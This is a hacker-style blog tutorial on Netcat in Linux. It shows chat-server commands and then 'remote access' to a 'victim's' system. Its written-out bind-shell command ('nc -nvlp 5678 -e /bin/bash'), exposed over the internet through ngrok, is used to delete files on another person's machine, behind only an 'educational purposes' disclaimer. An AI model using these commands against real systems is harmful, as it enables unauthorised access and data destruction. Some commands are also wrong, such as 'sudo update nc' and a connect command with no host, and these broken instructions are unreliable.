How to use Netcat in Linux?

How to use Netcat in Linux?

how to use netcat in linux

In this article, you will read about what is “Netcat” and how to use Netcat in Linux. This is an amazing utility used by hackers and it is very old but today also this program is famous for its work and features. So if you want to know how to use it then you can read this blog…

Disclaimer – This blog is for educational purposes only, If you do anything illegal then we are not responsible for it…

What is Netcat?

Netcat is the most used utility in Hacking, It establishes a TCP or UDP connection between two computers. This means it can read and write in a Network through an open port. It runs on all operating systems whether it is Windows or Linux operating system and both OS users can connect together…

This program can be used in both ways offensive and defensive. It depends upon the user how he wants to use this program. The user can be either use it for his advantage or revenge…

Some people use it for chatting anonymously or sending important files and directories but the crazy thing is that you can also get remote access to someone’s system using Netcat. And we are going to tell you how to do both things using Netcat today…

Getting Started with Netcat

Firstly, we have to update netcat with these two commands written below. Just in case some small update is there then it will be installed…

  1. sudo apt-get update
  2. sudo update nc

Now for viewing all the options we can use with Netcat you can write ( nc -h ) or ( nc -help ), both commands do the same work…

This is the list of all the options you can use in Netcat –

How to create chat server with Netcat?

Note – We will show you two methods of both creating a chat server and getting remote access. The first is on the same network and the second is over the internet…

Server in the same Network

One user has to type command no.1 for starting listener and the other users have to type command no.2 for joining…

  • User 1 – nc -nvlp 5678
  • User 2 – nc -nv 5678

Server over the internet

For connecting someone to our netcat we are going to use ngrok. So user 1 has to type the same command which is written above ( nc -nvlp 5678 ) then he has to make a link with his ngrok by typing ( ./ngrok tcp 5678 )…

If you don’t know how to use ngrok so you read our blog on it – https://news4hacker.com/how-to-install-and-use-ngrok-2021-n4h/

So after making the link the other user has to type ( ping 6.tcp.ngrok.io ) in his terminal as you can see in the image above…

If the other user ping that link then he will get an IP address with which he can get the connection to his friend’s chat server…

Now for connecting you have to type this command ( nc -nv <received IP address> <ngrok port> ). You can see that we get the connection to the server by typing this command and our friend has written “Hello” in it…

Remember – You have to type the ngrok port in the above command, not that port which we had written while making the link…

You can read our other blog on creating secret chat server by a tool on this link – https://news4hacker.com/how-to-create-a-secret-chat-server-hacking-2022-n4h/

How to get remote access with Netcat?

Getting remote access to someone’s Linux operating system with Netcat is a very easy task because you just have to type the same command which we had written for creating the server but with some extra words in it…

So you have to type ( nc -nvlp 5678 -e /bin/bash ) while making the server then write all the same commands which you had written in chat server making…

All commands are the same for remote accessing in the same network and over the internet, only write “nc -nvlp 5678 -e /bin/bash” in place of “nc -nvlp 5678”

After getting the connection to the victim’s server by pinging and typing the joining command which is ( nc -nv <received ngrok IP address> <ngrok port> ), you can do such things as deleting files and directories, checking the path, viewing all files inside a folder in victim’s system, etc…

This is a screenshot of removing a file from our victim’s computer –

This is just an overview of what is Netcat and how to use it, so you can comment us if you want more blogs on netcat and if you want to know more about Netcat then you can go on Nmap’s website by clicking this link – https://nmap.org/ncat/guide/index.html

If you have any problem with our blog so you can comment to us we will try to fix it.

– Yash Choudhary

Yash Choudhary

Leave a Reply